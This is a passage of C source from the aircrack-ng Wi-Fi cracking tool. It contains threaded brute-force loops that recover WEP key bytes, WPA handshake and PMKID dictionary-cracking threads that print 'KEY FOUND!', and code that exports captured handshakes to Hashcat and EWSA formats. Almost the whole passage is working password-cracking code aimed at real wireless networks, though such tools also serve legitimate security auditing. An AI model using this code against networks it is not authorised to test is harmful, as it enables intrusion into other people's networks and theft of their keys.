wep.key[opt.brutebytes[0]] = (uint8_t) l;
for (m = 0; m < 256; m++)
{
wep.key[opt.brutebytes[1]] = (uint8_t) m;
for (i = 0; i < 256; i++)
{
wep.key[opt.brutebytes[2]] = (uint8_t) i;
for (j = 0; j < 256; j++)
{
wep.key[opt.brutebytes[3]] = (uint8_t) j;
if (check_wep_key(wep.key, B + 1, 0)
== SUCCESS)
return (SUCCESS);
}
}
}
}
}
else if (opt.do_brute == 3)
{
for (m = 0; m < 256; m++)
{
wep.key[opt.brutebytes[0]] = (uint8_t) m;
for (i = 0; i < 256; i++)
{
wep.key[opt.brutebytes[1]] = (uint8_t) i;
for (j = 0; j < 256; j++)
{
wep.key[opt.brutebytes[2]] = (uint8_t) j;
if (check_wep_key(wep.key, B + 1, 0) == SUCCESS)
return (SUCCESS);
}
}
}
}
else if (opt.do_brute == 2)
{
for (i = 0; i < 256; i++)
{
wep.key[opt.brutebytes[0]] = (uint8_t) i;
for (j = 0; j < 256; j++)
{
wep.key[opt.brutebytes[1]] = (uint8_t) j;
if (check_wep_key(wep.key, B + 1, 0) == SUCCESS)
return (SUCCESS);
}
}
}
else
{
for (i = 0; i < 256; i++)
{
wep.key[opt.brutebytes[0]] = (uint8_t) i;
if (check_wep_key(wep.key, B + 1, 0) == SUCCESS)
return (SUCCESS);
}
}
}
else
{
/* multithreaded bruteforcing of the last 2 keybytes */
k = (k + 1) % opt.nbcpu;
do
{
for (tsel = 0; tsel < opt.nbcpu && !wepkey_crack_success;
++tsel)
{
if (bf_nkeys[(tsel + k) % opt.nbcpu] > 16)
{
usleep(1);
continue;
}
else
{
/* write our current key to the pipe so it'll have
* its last 2 bytes bruteforced */
bf_nkeys[(tsel + k) % opt.nbcpu]++;
if (safe_write(bf_pipe[(tsel + k) % opt.nbcpu][1],
(void *) wep.key,
64)
!= 64)
{
perror("write pmk failed");
kill(0, SIGTERM);
_exit(EXIT_FAILURE);
}
break;
}
}
} while (tsel >= opt.nbcpu && !wepkey_crack_success);
if (wepkey_crack_success)
{
memcpy(wep.key, bf_wepkey, (size_t) opt.keylen);
return (SUCCESS);
}
}
}
else
{
switch (do_wep_crack1(B + 1))
{
case SUCCESS:
return (SUCCESS);
case RESTART:
return (RESTART);
default:
break;
}
}
}
// if we are going to fail on the root byte, check again if there are still
// threads bruting, if so wait and check again.
if (B == 0)
{
for (i = 0; i < opt.nbcpu; i++)
{
while (bf_nkeys[i] > 0 && !wepkey_crack_success) usleep(1);
}
if (wepkey_crack_success)
{
memcpy(wep.key, bf_wepkey, (size_t) opt.keylen);
return (SUCCESS);
}
}
return (FAILURE);
}
/* experimental single bruteforce attack */
static int do_wep_crack2(int B)
{
int i, j;
switch (update_ivbuf())
{
case FAILURE:
return (FAILURE);
case RESTART:
return (RESTART);
default:
break;
}
if (wep.nb_ivs_now / opt.keylen < 60000)
{
printf(
"Not enough IVs available. This option is only meant to be used\n"
"if the standard attack method fails with more than %d IVs.\n",
opt.keylen * 60000);
kill(0, SIGTERM);
_exit(EXIT_FAILURE);
}
for (i = 0; i <= B; i++)
{
if (calc_poll(i) != SUCCESS) return (FAILURE);
wep.key[i] = (uint8_t) wep.poll[i][0].idx;
wep.fudge[i] = 1;
wep.depth[i] = 0;
if (!opt.is_quiet) show_wep_stats(i, 0, NULL, NULL, NULL, 0);
}
for (wep.fudge[B] = 1; wep.fudge[B] < 256; wep.fudge[B]++)
{
ALLEGE(0 <= wep.fudge[B] && wep.fudge[B] < INT_MAX); //-V560
if ((float) wep.poll[B][wep.fudge[B]].val
< (float) wep.poll[B][0].val / opt.ffact)
break;
}
for (wep.depth[B] = 0;
wep.depth[B] < wep.fudge[B] && wep.fudge[B] < INT_MAX;
wep.depth[B]++)
{
switch (update_ivbuf())
{
case FAILURE:
return (FAILURE);
case RESTART:
return (RESTART);
default:
break;
}
wep.key[B] = (uint8_t) wep.poll[B][wep.depth[B]].idx;
if (!opt.is_quiet) show_wep_stats(B, 0, NULL, NULL, NULL, 0);
for (i = B + 1; i < opt.keylen - 2; i++)
{
if (calc_poll(i) != SUCCESS) return (FAILURE);
wep.key[i] = (uint8_t) wep.poll[i][0].idx;
wep.fudge[i] = 1;
wep.depth[i] = 0;
if (!opt.is_quiet) show_wep_stats(i, 0, NULL, NULL, NULL, 0);
}
for (i = 0; i < 256; i++)
{
wep.key[opt.keylen - 2] = (uint8_t) i;
for (j = 0; j < 256; j++)
{
wep.key[opt.keylen - 1] = (uint8_t) j;
if (check_wep_key(wep.key, opt.keylen - 2, 0) == SUCCESS)
return (SUCCESS);
}
}
}
return (FAILURE);
}
static THREAD_ENTRY(inner_bruteforcer_thread)
{
int i, j, k, l;
size_t nthread = (size_t) arg;
unsigned char wepkey[64];
void * ret = NULL;
inner_bruteforcer_thread_start:
if (close_aircrack) return (ret);
if (wepkey_crack_success) return ((void *) SUCCESS);
/* we get the key for which we'll bruteforce the last 2 bytes from the pipe
*/
if (safe_read(bf_pipe[nthread][0], (void *) wepkey, 64) != 64)
{
return ((void *) FAILURE); //-V566
}
if (close_aircrack) return (ret);
/* now we test the 256*256 keys... if we succeed we'll save it and exit the
* thread */
if (opt.do_brute == 4)
{
for (l = 0; l < 256; l++)
{
wepkey[opt.brutebytes[0]] = (uint8_t) l;
for (k = 0; k < 256; k++)
{
wepkey[opt.brutebytes[1]] = (uint8_t) k;
for (i = 0; i < 256; i++)
{
wepkey[opt.brutebytes[2]] = (uint8_t) i;
for (j = 0; j < 256; j++)
{
wepkey[opt.brutebytes[3]] = (uint8_t) j;
if (check_wep_key(wepkey, opt.keylen - 2, 0) == SUCCESS)
return ((void *) SUCCESS);
}
}
}
}
}
else if (opt.do_brute == 3)
{
for (k = 0; k < 256; k++)
{
wepkey[opt.brutebytes[0]] = (uint8_t) k;
for (i = 0; i < 256; i++)
{
wepkey[opt.brutebytes[1]] = (uint8_t) i;
for (j = 0; j < 256; j++)
{
wepkey[opt.brutebytes[2]] = (uint8_t) j;
if (check_wep_key(wepkey, opt.keylen - 2, 0) == SUCCESS)
return ((void *) SUCCESS);
}
}
}
}
else if (opt.do_brute == 2)
{
for (i = 0; i < 256; i++)
{
wepkey[opt.brutebytes[0]] = (uint8_t) i;
for (j = 0; j < 256; j++)
{
wepkey[opt.brutebytes[1]] = (uint8_t) j;
if (check_wep_key(wepkey, opt.keylen - 2, 0) == SUCCESS)
return ((void *) SUCCESS);
}
}
}
else
{
for (j = 0; j < 256; j++)
{
wepkey[opt.brutebytes[0]] = (uint8_t) j;
if (check_wep_key(wepkey, opt.keylen - 2, 0) == SUCCESS)
return ((void *) SUCCESS);
}
}
--bf_nkeys[nthread];
goto inner_bruteforcer_thread_start;
}
/* display the current wpa key info, matrix-like */
static void show_wpa_stats(char * key,
int keylen,
unsigned char pmk[32],
unsigned char ptk[64],
unsigned char mic[16],
int force)
{
float calc;
float ksec;
float delta;
int et_h;
int et_m;
int et_s;
int i;
char tmpbuf[28];
size_t remain;
size_t eta;
size_t cur_nb_kprev;
if (chrono(&t_stats, 0) < 0.15 && force == 0) return;
if (force != 0)
ALLEGE(pthread_mutex_lock(&mx_wpastats)
== 0); // if forced, wait until we can lock
else if (pthread_mutex_trylock(&mx_wpastats)
!= 0) // if not forced, just try
return;
chrono(&t_stats, 1);
delta = chrono(&t_begin, 0);
if (delta <= FLT_EPSILON) goto __out;
et_s = (int) lrintf(fmodf(delta, 59.f));
et_m = (int) lrintf(fmodf(((delta - et_s) / 60.0), 59.0f));
if (delta >= 60.f * 60.f)
et_h = (int) lrintf((delta - et_s - et_m) / (60.f * 60.f));
else
et_h = 0;
ALLEGE(pthread_mutex_lock(&mx_nb) == 0);
cur_nb_kprev = nb_kprev;
ALLEGE(pthread_mutex_unlock(&mx_nb) == 0);
ksec = (float) cur_nb_kprev / delta;
if (ksec <= FLT_EPSILON) goto __out;
if (_speed_test)
{
printf("%0.3f k/s \r", ksec);
fflush(stdout);
if (_speed_test_length > 0 && delta >= (float) _speed_test_length)
{
close_aircrack = 1;
close_aircrack_fast = 1;
goto __out;
}
goto __out;
}
moveto(0, 3);
erase_display(0);
if (opt.l33t)
{
textstyle(TEXT_BRIGHT);
textcolor_fg(TEXT_YELLOW);
}
if (opt.stdin_dict)
{
moveto(20, 5);
printf("[%02d:%02d:%02d] %zd keys tested "
"(%2.2f k/s) ",
et_h,
et_m,
et_s,
nb_tried,
ksec);
}
else
{
moveto(7, 4);
printf("[%02d:%02d:%02d] %zd/%zd keys tested "
"(%2.2f k/s) ",
et_h,
et_m,
et_s,
nb_tried,
opt.wordcount,
ksec);
moveto(7, 6);
printf("Time left: ");
calc = ((float) nb_tried / (float) opt.wordcount) * 100.0f;
remain = opt.wordcount - nb_tried;
if (remain > 0 && ksec > 0)
{
eta = (remain / ksec);
calctime(eta, calc);
}
else
printf("--\n");
}
memset(tmpbuf, ' ', sizeof(tmpbuf));
memcpy(tmpbuf, key, (size_t) keylen > 27u ? 27u : (size_t) keylen);
tmpbuf[27] = '\0';
if (opt.l33t)
{
textstyle(TEXT_BRIGHT);
textcolor_fg(TEXT_WHITE);
}
moveto(24, 8);
printf("Current passphrase: %s\n", tmpbuf);
if (opt.l33t)
{
textcolor_normal();
textcolor_fg(TEXT_GREEN);
}
moveto(7, 11);
printf("Master Key : ");
if (opt.l33t)
{
textstyle(TEXT_BRIGHT);
textcolor_fg(TEXT_GREEN);
}
for (i = 0; i < 32; i++)
{
if (i == 16)
{
move(CURSOR_BACK, 32 + 16);
move(CURSOR_DOWN, 1);
}
printf("%02X ", pmk[i]);
}
if (opt.l33t)
{
textcolor_normal();
textcolor_fg(TEXT_GREEN);
}
moveto(7, 14);
printf("Transient Key : ");
if (opt.l33t)
{
textstyle(TEXT_BRIGHT);
textcolor_fg(TEXT_GREEN);
}
for (i = 0; i < 64; i++)
{
if (i > 0 && i % 16 == 0)
{
printf("\n");
move(CURSOR_FORWARD, 23);
}
printf("%02X ", ptk[i]);
}
if (opt.l33t)
{
textcolor_normal();
textcolor_fg(TEXT_GREEN);
}
moveto(7, 19);
printf("EAPOL HMAC : ");
if (opt.l33t)
{
textstyle(TEXT_BRIGHT);
textcolor_fg(TEXT_GREEN);
}
for (i = 0; i < 16; i++) printf("%02X ", mic[i]);
printf("\n");
__out:
ALLEGE(pthread_mutex_unlock(&mx_wpastats) == 0);
}
/**
* Called in response to successfully cracking a WPA key.
*
* @param data A structure containing the WPA data.
* @param keys An array of passphrases.
* @param mic An array of calculated MIC codes.
* @param nparallel The number of used slots in each array.
* @param threadid The current thread ID number.
* @param j The winning index, containing the successful data.
*/
static void crack_wpa_successfully_cracked(
struct WPA_data * data,
wpapsk_password keys[MAX_KEYS_PER_CRYPT_SUPPORTED],
uint8_t mic[MAX_KEYS_PER_CRYPT_SUPPORTED][20],
int nparallel,
int threadid,
int j)
{
// pre-conditions
REQUIRE(data != NULL);
REQUIRE(keys != NULL);
REQUIRE(mic != NULL);
REQUIRE(nparallel > 0 && nparallel <= MAX_KEYS_PER_CRYPT_SUPPORTED);
REQUIRE(threadid >= 0 && threadid < MAX_THREADS);
REQUIRE(j >= 0 && j < nparallel);
FILE * keyFile = NULL;
// close the dictionary
ALLEGE(pthread_mutex_lock(&mx_dic) == 0);
if (opt.dict != NULL)
{
if (!opt.stdin_dict) fclose(opt.dict);
opt.dict = NULL;
}
ALLEGE(pthread_mutex_unlock(&mx_dic) == 0);
// copy working passphrase to output buffer
memset(data->key, 0, sizeof(data->key));
memcpy(data->key, keys[j].v, sizeof(keys[0].v));
// Write the key to a file
if (opt.logKeyToFile != NULL)
{
keyFile = fopen(opt.logKeyToFile, "w");
if (keyFile != NULL)
{
fprintf(keyFile, "%s", keys[j].v);
ALLEGE(fclose(keyFile) != -1);
}
}
wpa_cracked = 1; // Inform producer we're done.
if (opt.is_quiet)
{
return;
}
increment_passphrase_counts(keys, nparallel);
show_wpa_stats((char *) keys[j].v,
keys[j].length,
dso_ac_crypto_engine_get_pmk(&engine, threadid, j),
dso_ac_crypto_engine_get_ptk(&engine, threadid, j),
mic[j],
1);
if (opt.l33t)
{
textstyle(TEXT_BRIGHT);
textcolor_fg(TEXT_RED);
}
moveto((80 - 15 - (int) keys[j].length) / 2, 8);
erase_line(2);
printf("KEY FOUND! [ %s ]\n", keys[j].v);
move(CURSOR_DOWN, 11);
if (opt.l33t)
{
textcolor_normal();
textcolor_fg(TEXT_GREEN);
}
}
// Given a tainted passphrase, this calculate the
// number of leading, validate bytes for \a key.
static inline int calculate_passphrase_length(uint8_t * key)
{
REQUIRE(key != NULL);
int i = (int) strnlen((const char *) key, MAX_PASSPHRASE_LENGTH + 3);
// ensure NULL termination, after strnlen.
key[i] = '\0';
// trim newlines
while (i > 0 && (key[i - 1] == '\r' || key[i - 1] == '\n')) i--;
// truncate long passphrases
if (i > MAX_PASSPHRASE_LENGTH + 1) i = 64;
// ensure NULL termination, after above checks
key[i] = '\0';
// ensure only valid characters in byte sequence.
for (int j = 0; j < i; j++)
if (!isascii(key[j]) || key[j] < 32) i = 0;
// returns the length of the valid passphrase sequence
return (i);
}
static THREAD_ENTRY(crack_wpa_thread)
{
REQUIRE(arg != NULL);
uint8_t mic[MAX_KEYS_PER_CRYPT_SUPPORTED][20] __attribute__((aligned(32)));
wpapsk_password keys[MAX_KEYS_PER_CRYPT_SUPPORTED]
__attribute__((aligned(64)));
char essid[128] __attribute__((aligned(16)));
struct WPA_data * data;
struct AP_info * ap;
int threadid = 0;
void * ret = NULL;
int i;
int j;
int nparallel = dso_ac_crypto_engine_simd_width();
data = (struct WPA_data *) arg;
ap = data->ap;
threadid = data->threadid;
memcpy(essid, ap->essid, ESSID_LENGTH + 1);
// The attack below requires a full handshake.
ALLEGE(ap->wpa.state == 7);
dso_ac_crypto_engine_thread_init(&engine, threadid);
#ifdef XDEBUG
if (nparallel > 1)
fprintf(stderr,
"The Crypto Engine will crack %d in parallel.\n",
nparallel);
else
fprintf(stderr,
"WARNING: The Crypto Engine is unable to crack in parallel.\n");
#endif
dso_ac_crypto_engine_calc_pke(&engine,
ap->bssid,
ap->wpa.stmac,
ap->wpa.anonce,
ap->wpa.snonce,
threadid);
#ifdef XDEBUG
printf("Thread # %d starting...\n", threadid);
#endif
bool done = false;
while (!done) // Continue until HAZARD value seen.
{
memset(keys, 0, sizeof(keys));
for (j = 0; !done && j < nparallel; ++j)
{
uint8_t * our_key = keys[j].v;
i = 0;
do
{
wpa_receive_passphrase((char *) our_key, data);
// Do we see our HAZARD value?
if (our_key[0] == 0xff && our_key[1] == 0xff
&& our_key[2] == 0xff && our_key[3] == 0xff)
{
done = true; // Yes!
break; // Exit for loop; process remaining.
}
i = calculate_passphrase_length(keys[j].v);
} while ((size_t) i < MIN_WPA_PASSPHRASE_LEN);
keys[j].length = (uint32_t) i;
#ifdef XDEBUG
printf("%lu: GOT %p: %s\n", pthread_self(), our_key, our_key);
#endif
}
if (unlikely((j = dso_ac_crypto_engine_wpa_crack(&engine,
keys,
ap->wpa.eapol,
ap->wpa.eapol_size,
mic,
ap->wpa.keyver,
ap->wpa.keymic,
nparallel,
threadid))
>= 0))
{
#ifdef XDEBUG
printf("%d - %lu FOUND IT AT %d %p !\n",
threadid,
pthread_self(),
j,
keys[j].v);
#endif
crack_wpa_successfully_cracked(
data, keys, mic, nparallel, threadid, j);
}
increment_passphrase_counts(keys, nparallel);
if (threadid == first_wpa_threadid && !opt.is_quiet)
{
show_wpa_stats((char *) keys[0].v,
keys[0].length,
dso_ac_crypto_engine_get_pmk(&engine, threadid, 0),
dso_ac_crypto_engine_get_ptk(&engine, threadid, 0),
mic[0],
0);
}
}
ALLEGE(pthread_mutex_lock(&(data->mutex)) == 0);
data->active = 0; // We are no longer an active consumer.
ALLEGE(pthread_mutex_unlock(&(data->mutex)) == 0);
dso_ac_crypto_engine_thread_destroy(&engine, threadid);
return (ret);
}
static THREAD_ENTRY(crack_wpa_pmkid_thread)
{
REQUIRE(arg != NULL);
uint8_t mic[MAX_KEYS_PER_CRYPT_SUPPORTED][20] __attribute__((aligned(32)));
wpapsk_password keys[MAX_KEYS_PER_CRYPT_SUPPORTED]
__attribute__((aligned(64)));
char essid[128] __attribute__((aligned(16)));
struct WPA_data * data;
struct AP_info * ap;
int threadid = 0;
void * ret = NULL;
int i;
int j;
int nparallel = dso_ac_crypto_engine_simd_width();
data = (struct WPA_data *) arg;
ap = data->ap;
threadid = data->threadid;
memcpy(essid, ap->essid, ESSID_LENGTH + 1);
// Check some pre-conditions.
ALLEGE(ap->wpa.state > 0 && ap->wpa.state < 7);
ALLEGE(ap->wpa.pmkid[0] != 0x00);
dso_ac_crypto_engine_thread_init(&engine, threadid);
dso_ac_crypto_engine_set_pmkid_salt(
&engine, ap->bssid, ap->wpa.stmac, threadid);
#ifdef XDEBUG
printf("Thread # %d starting...\n", threadid);
#endif
bool done = false;
while (!done) // Loop until our HAZARD value is seen.
{
memset(keys, 0, sizeof(keys));
for (j = 0; !done && j < nparallel; ++j)
{
uint8_t * our_key = keys[j].v;
i = 0;
do
{
wpa_receive_passphrase((char *) our_key, data);
// Do we see our HAZARD value?
if (our_key[0] == 0xff && our_key[1] == 0xff
&& our_key[2] == 0xff && our_key[3] == 0xff)
{
done = true; // Yes!
break; // Exit for loop; process remaining.
}
i = calculate_passphrase_length(keys[j].v);
} while ((size_t) i < MIN_WPA_PASSPHRASE_LEN);
keys[j].length = (uint32_t) i;
#ifdef XDEBUG
printf("%lu: GOT %p: %s\n", pthread_self(), our_key, our_key);
#endif
}
if (unlikely((j = dso_ac_crypto_engine_wpa_pmkid_crack(
&engine, keys, ap->wpa.pmkid, nparallel, threadid))
>= 0))
{
#ifdef XDEBUG
printf("%d - %lu FOUND IT AT %d %p !\n",
threadid,
pthread_self(),
j,
keys[j].v);
#endif
crack_wpa_successfully_cracked(
data, keys, mic, nparallel, threadid, j);
}
increment_passphrase_counts(keys, nparallel);
if (first_wpa_threadid == threadid && !opt.is_quiet)
{
show_wpa_stats((char *) keys[0].v,
keys[0].length,
dso_ac_crypto_engine_get_pmk(&engine, threadid, 0),
dso_ac_crypto_engine_get_ptk(&engine, threadid, 0),
mic[0],
0);
}
}
ALLEGE(pthread_mutex_lock(&(data->mutex)) == 0);
data->active = 0; // We are no longer an ACTIVE consumer.
ALLEGE(pthread_mutex_unlock(&(data->mutex)) == 0);
dso_ac_crypto_engine_thread_destroy(&engine, threadid);
return (ret);
}
/**
* Open a specific dictionary
* nb: index of the dictionary
* return 0 on success and FAILURE if it failed
*/
static __attribute__((noinline)) int next_dict(int nb)
{
size_t tmpword = 0;
ALLEGE(nb >= 0);
ALLEGE(pthread_mutex_lock(&mx_dic) == 0);
if (opt.dict != NULL)
{
if (!opt.stdin_dict) fclose(opt.dict);
opt.dict = NULL;
}
opt.nbdict = nb;
while (opt.nbdict < MAX_DICTS && opt.dicts[opt.nbdict] != NULL)
{
if (strcmp(opt.dicts[opt.nbdict], "-") == 0)
{
opt.stdin_dict = 1;
opt.dictfinish = 1; // no ETA stats on stdin
if ((opt.dict = fdopen(fileno(stdin), "r")) == NULL)
{
perror("fdopen(stdin) failed");
opt.nbdict++;
continue;
}
opt.no_stdin = 1;
}
else
{
opt.stdin_dict = 0;
if ((opt.dict = fopen(opt.dicts[opt.nbdict], "r")) == NULL)
{
printf("ERROR: Opening dictionary %s failed (%s)\n",
opt.dicts[opt.nbdict],
strerror(errno));
opt.nbdict++;
continue;
}
ALLEGE(fseeko(opt.dict, 0L, SEEK_END) != -1);
if (ftello(opt.dict) <= 0L)
{
printf("ERROR: Processing dictionary file %s (%s)\n",
opt.dicts[opt.nbdict],
strerror(errno));
fclose(opt.dict);
opt.dict = NULL;
opt.nbdict++;
continue;
}
if (!opt.dictfinish)
{
chrono(&t_dictup, 1);
opt.dictidx[opt.nbdict].dictsize = ftello(opt.dict);
if (!opt.dictidx[opt.nbdict].dictpos
|| (opt.dictidx[opt.nbdict].dictpos
> opt.dictidx[opt.nbdict].dictsize))
{
tmpword = linecount(opt.dicts[opt.nbdict],
(opt.dictidx[opt.nbdict].dictpos
? opt.dictidx[opt.nbdict].dictpos
: 0),
READBUF_MAX_BLOCKS);
opt.dictidx[opt.nbdict].wordcount += tmpword;
opt.wordcount += tmpword;
opt.dictidx[opt.nbdict].dictpos
= (READBUF_BLKSIZE * READBUF_MAX_BLOCKS);
}
}
rewind(opt.dict);
}
break;
}
ALLEGE(pthread_mutex_unlock(&mx_dic) == 0);
if (opt.nbdict >= MAX_DICTS || opt.dicts[opt.nbdict] == NULL)
return (FAILURE);
// Update wordlist ID and position in session
if (cracking_session)
{
ALLEGE(pthread_mutex_lock(&(cracking_session->mutex)) == 0);
cracking_session->pos = 0;
cracking_session->wordlist_id = (uint8_t) opt.nbdict;
ALLEGE(pthread_mutex_unlock(&(cracking_session->mutex)) == 0);
}
return (SUCCESS);
}
#ifdef HAVE_SQLITE
static int
sql_wpacallback(void * arg, int ccount, char ** values, char ** columnnames)
{
UNUSED_PARAM(ccount);
UNUSED_PARAM(values);
UNUSED_PARAM(columnnames);
REQUIRE(arg != NULL);
struct AP_info * ap = (struct AP_info *) arg;
unsigned char ptk[80];
unsigned char mic[20];
FILE * keyFile;
calc_mic(ap, (unsigned char *) values[0], ptk, mic);
if (memcmp(mic, ap->wpa.keymic, 16) == 0)
{
// Write the key to a file
if (opt.logKeyToFile != NULL)
{
keyFile = fopen(opt.logKeyToFile, "w");
if (keyFile != NULL)
{
fprintf(keyFile, "%s", values[1]);
ALLEGE(fclose(keyFile) != -1);
}
}
if (opt.is_quiet)
{
printf("KEY FOUND! [ %s ]\n", values[1]);
return (FAILURE);
}
show_wpa_stats(values[1],
(int) strlen(values[1]),
(unsigned char *) (values[0]),
ptk,
mic,
1);
if (opt.l33t)
{
textstyle(TEXT_BRIGHT);
textcolor_fg(TEXT_RED);
}
moveto((80 - 15 - (int) strlen(values[1])) / 2, 8);
erase_line(2);
printf("KEY FOUND! [ %s ]\n", values[1]);
move(CURSOR_DOWN, 11);
if (opt.l33t)
{
textcolor_normal();
textcolor_fg(TEXT_GREEN);
}
// abort the query
return (FAILURE);
}
ALLEGE(pthread_mutex_lock(&mx_nb) == 0);
nb_tried++;
nb_kprev++;
ALLEGE(pthread_mutex_unlock(&mx_nb) == 0);
if (!opt.is_quiet)
show_wpa_stats(values[1],
(int) strlen(values[1]),
(unsigned char *) (values[0]),
ptk,
mic,
0);
return (SUCCESS);
}
#endif
static int __attribute__((noinline))
display_wpa_hash_information(struct AP_info * ap_cur)
{
unsigned i = 0;
if (ap_cur == NULL)
{
printf("No valid WPA handshakes found.\n");
return (FAILURE);
}
if (memcmp(ap_cur->essid, ZERO, ESSID_LENGTH) == 0 && !opt.essid_set)
{
printf("An ESSID is required. Try option -e.\n");
return (FAILURE);
}
if (opt.essid_set && ap_cur->essid[0] == '\0')
{
memcpy(ap_cur->essid, opt.essid, sizeof(ap_cur->essid));
}
printf("[*] ESSID (length: %d): %s\n",
(int) ustrlen(ap_cur->essid),
ap_cur->essid);
printf("[*] Key version: %d\n", ap_cur->wpa.keyver);
printf("[*] BSSID: %02X:%02X:%02X:%02X:%02X:%02X\n",
ap_cur->bssid[0],
ap_cur->bssid[1],
ap_cur->bssid[2],
ap_cur->bssid[3],
ap_cur->bssid[4],
ap_cur->bssid[5]);
printf("[*] STA: %02X:%02X:%02X:%02X:%02X:%02X",
ap_cur->wpa.stmac[0],
ap_cur->wpa.stmac[1],
ap_cur->wpa.stmac[2],
ap_cur->wpa.stmac[3],
ap_cur->wpa.stmac[4],
ap_cur->wpa.stmac[5]);
printf("\n[*] anonce:");
for (i = 0; i < sizeof(ap_cur->wpa.anonce); i++)
{
if (i % 16 == 0) printf("\n ");
printf("%02X ", ap_cur->wpa.anonce[i]);
}
printf("\n[*] snonce:");
for (i = 0; i < sizeof(ap_cur->wpa.snonce); i++)
{
if (i % 16 == 0) printf("\n ");
printf("%02X ", ap_cur->wpa.snonce[i]);
}
printf("\n[*] Key MIC:\n ");
for (i = 0; i < sizeof(ap_cur->wpa.keymic); i++)
{
printf(" %02X", ap_cur->wpa.keymic[i]);
}
printf("\n[*] eapol:");
for (i = 0; i < ap_cur->wpa.eapol_size; i++)
{
if (i % 16 == 0) printf("\n ");
printf("%02X ", ap_cur->wpa.eapol[i]);
}
return (SUCCESS);
}
static int do_make_wkp(struct AP_info * ap_cur)
{
REQUIRE(ap_cur != NULL);
size_t elt_written;
printf("\n\nBuilding WKP file...\n\n");
if (display_wpa_hash_information(ap_cur) != 0)
{
return (FAILURE);
}
printf("\n");
// write file
FILE * fp_wkp;
char frametmp[WKP_FRAME_LENGTH];
char * ptmp;
memcpy(frametmp, wkp_frame, WKP_FRAME_LENGTH * sizeof(char));
// Make sure the filename contains the extension
if (!(string_has_suffix(opt.wkp, ".wkp")
|| string_has_suffix(opt.wkp, ".WKP")))
{
strcat(opt.wkp, ".wkp");
}
fp_wkp = fopen(opt.wkp, "w");
if (fp_wkp == NULL)
{
printf("\nFailed to create EWSA project file\n");
return (FAILURE);
}
// ESSID
memcpy(&frametmp[0x4c0], ap_cur->essid, sizeof(ap_cur->essid));
// BSSID
ptmp = (char *) ap_cur->bssid;
memcpy(&frametmp[0x514], ptmp, ETHER_ADDR_LEN);
// Station Mac
ptmp = (char *) ap_cur->wpa.stmac;
memcpy(&frametmp[0x51a], ptmp, ETHER_ADDR_LEN);
// ESSID
memcpy(&frametmp[0x520], ap_cur->essid, sizeof(ap_cur->essid));
// ESSID length
frametmp[0x540] = (uint8_t) ustrlen(ap_cur->essid);
// WPA Key version
frametmp[0x544] = ap_cur->wpa.keyver;
// Size of EAPOL
frametmp[0x548] = (uint8_t) ap_cur->wpa.eapol_size;
// anonce
ptmp = (char *) ap_cur->wpa.anonce;
memcpy(&frametmp[0x54c], ptmp, sizeof(ap_cur->wpa.anonce));
// snonce
ptmp = (char *) ap_cur->wpa.snonce;
memcpy(&frametmp[0x56c], ptmp, sizeof(ap_cur->wpa.snonce));
// EAPOL
ptmp = (char *) ap_cur->wpa.eapol;
memcpy(&frametmp[0x58c], ptmp, ap_cur->wpa.eapol_size);
// Key MIC
ptmp = (char *) ap_cur->wpa.keymic;
memcpy(&frametmp[0x68c], ptmp, 16);
elt_written = fwrite(frametmp, 1, WKP_FRAME_LENGTH, fp_wkp);
ALLEGE(fclose(fp_wkp) != -1);
if ((int) elt_written == WKP_FRAME_LENGTH)
{
printf("\nSuccessfully written to %s\n", opt.wkp);
return (SUCCESS);
}
else
{
printf("\nFailed to write to %s\n !", opt.wkp);
return (FAILURE);
}
}
// return by value because it is the simplest interface and we call this
// infrequently
static hccap_t ap_to_hccap(struct AP_info * ap)
{
REQUIRE(ap != NULL);
hccap_t hccap;
memset(&hccap, 0, sizeof(hccap));
ap->wpa.state = 7;
ap->crypt = 3;
memcpy(&hccap.essid, &ap->essid, sizeof(ap->essid));
memcpy(&hccap.mac1, &ap->bssid, sizeof(ap->bssid));
memcpy(&hccap.mac2, &ap->wpa.stmac, sizeof(ap->wpa.stmac));
memcpy(&hccap.nonce1, &ap->wpa.snonce, sizeof(ap->wpa.snonce));
memcpy(&hccap.nonce2, &ap->wpa.anonce, sizeof(ap->wpa.anonce));
memcpy(&hccap.eapol, &ap->wpa.eapol, sizeof(ap->wpa.eapol));
memcpy(&hccap.eapol_size, &ap->wpa.eapol_size, sizeof(ap->wpa.eapol_size));
memcpy(&hccap.keyver, &ap->wpa.keyver, sizeof(ap->wpa.keyver));
memcpy(&hccap.keymic, &ap->wpa.keymic, sizeof(ap->wpa.keymic));
return (hccap);
}
#if 0
// Caller must free
__attribute__((unused)) static struct AP_info * hccap_to_ap(hccap_t * hccap)
{
REQUIRE(hccap != NULL);
struct AP_info * ap = malloc(sizeof(struct AP_info));
ALLEGE(ap != NULL);
memset(&ap, 0, sizeof(ap));
memcpy(&ap->essid, &hccap->essid, sizeof(ap->essid)); //-V512
memcpy(&ap->bssid, &hccap->mac1, sizeof(ap->bssid));
memcpy(&ap->wpa.stmac, &hccap->mac2, sizeof(hccap->mac2));
memcpy(&ap->wpa.snonce, &hccap->nonce1, sizeof(hccap->nonce1));
memcpy(&ap->wpa.anonce, &hccap->nonce2, sizeof(hccap->nonce2));
memcpy(&ap->wpa.eapol, &hccap->eapol, sizeof(hccap->eapol));
memcpy(&ap->wpa.eapol_size, &hccap->eapol_size, sizeof(hccap->eapol_size));
memcpy(&ap->wpa.keyver, &hccap->keyver, sizeof(ap->wpa.keyver));
memcpy(&ap->wpa.keymic, &hccap->keymic, sizeof(hccap->keymic));
return (ap);
}
#endif
static int do_make_hccap(struct AP_info * ap_cur)
{
REQUIRE(ap_cur != NULL);
size_t elt_written;
printf("\n\nBuilding Hashcat file...\n\n");
if (display_wpa_hash_information(ap_cur) != 0)
{
return (FAILURE);
}
printf("\n");
// write file
FILE * fp_hccap;
strcat(opt.hccap, ".hccap");
fp_hccap = fopen(opt.hccap, "wb");
if (fp_hccap == NULL)
{
printf("\nFailed to create Hashcat capture file\n");
return (FAILURE);
}
hccap_t hccap = ap_to_hccap(ap_cur);
elt_written = fwrite(&hccap, sizeof(hccap_t), 1, fp_hccap);
ALLEGE(fclose(fp_hccap) != -1);
if (elt_written == 1u)
{
printf("\nSuccessfully written to %s\n", opt.hccap);
return (SUCCESS);
}
else
{
printf("\nFailed to write to %s\n !", opt.hccap);
return (FAILURE);
}
}
// Caller must free
struct AP_info * hccapx_to_ap(struct hccapx * hx)
{
REQUIRE(hx != NULL);
struct AP_info * ap = malloc(sizeof(struct AP_info));
ALLEGE(ap != NULL);
memset(ap, 0, sizeof(struct AP_info));
ap->wpa.state = 7;
ap->crypt = 3;
